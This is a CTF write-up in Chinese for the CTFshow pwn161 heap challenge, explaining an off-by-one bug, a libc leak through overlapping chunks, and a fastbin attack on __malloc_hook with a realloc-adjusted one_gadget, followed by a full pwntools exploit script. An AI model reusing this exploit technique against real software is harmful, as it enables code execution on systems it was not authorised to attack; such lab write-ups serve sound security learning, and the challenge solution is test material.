CTFSHOW pwn161 WP
checksec:
保护全开 64位 IDA64打开:
逐个查看函数
add:
使用calloc进行申请堆,并且堆大小限制在0x1000以内 用了两个全局变量分别存储是否使用(inuse)和大小(size) qword_202048是位于bss段上的堆指针
edit:
E3A函数:
对修改大小进行了判断,如果修改大小和堆大小相差10 就允许多输入1字节,也就是存在off-by-one漏洞
del:
正常的free并且清零了堆
show:正常
所以思路是先泄露libc,利用unsorted bin泄露 再用malloc hook和one gadget打
通过off-by-one修改chunk的size位为能包含下一个chunk,然后free掉修改的堆再申请原大小,这样就能利用show打印出来堆地址了
泄露出libc后就是使用malloc_hook了,但是这题one_gadget的条件不能直接满足,所以要用realloc_hook调整栈帧
exp:
from pwn import *p = process('./pwn161')
context.log_level = 'debug'def add(size):p.sendlineafter(b"Choice: ", b'1')p.sendlineafter(b'size: ', str(size))#p.sendlineafter(b'message:\n' , message)def delete(index):p.sendlineafter(b"Choice: ", b'3')p.sendlineafter(b'index: ' , str(index))def edit(index,size, message):p.sendlineafter(b"Choice: ", b'2')p.sendlineafter(b'index: ' , str(index))p.sendlineafter(b'size: ' , str(size))p.sendlineafter(b'content: ' , message)def show(index):p.sendlineafter(b"Choice: ", b'4')p.sendlineafter(b'index: ' , str(index))elf = ELF('./pwn161')
libc = ELF('./libc-2.23-64.so')gdb.attach(p)add(0x68) #chunk0
add(0x68) #chunk1
add(0x68) #chunk2
add(0x68) #chunk3
payload = b'a' * (0x68) + p8(0xe1) #0x68 + 0x68 + 0x10 + 0x1
edit(0, 0x68 + 10, payload)
delete(1)
add(0x68)
show(2)
p.recvuntil(b': ')
leak = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak))
#pause()
libc_base = leak - 0x3c4b78
malloc = libc_base + libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
one_gadget = libc_base + 0x4526a
print(hex(malloc))
#pause()add(0x68) #chunk4
pause()
edit(0, 0x68 + 10, payload)
#pause()
delete(1)
add(0xd0) #refresh chunk1 sizepayload = b'a' * (0x68) + p64(0x71)
pause()
edit(1, len(payload), payload) #calloc会清空申请大小里的内容 恢复chunk2的size
pause()
delete(2) edit(4, 0x8, p64(malloc - 0x23)) #fake_chunkadd(0x68) #chunk2
add(0x68) #chunk5 --fastbin attack 现在该位置为malloc-0x23payload = b'a' * (0x13 - 8) + p64(one_gadget) + p64(realloc) #realloc->one_gadget,malloc_hook->realloc_hook
edit(5, len(payload), payload)
add(0x68)
p.interactive()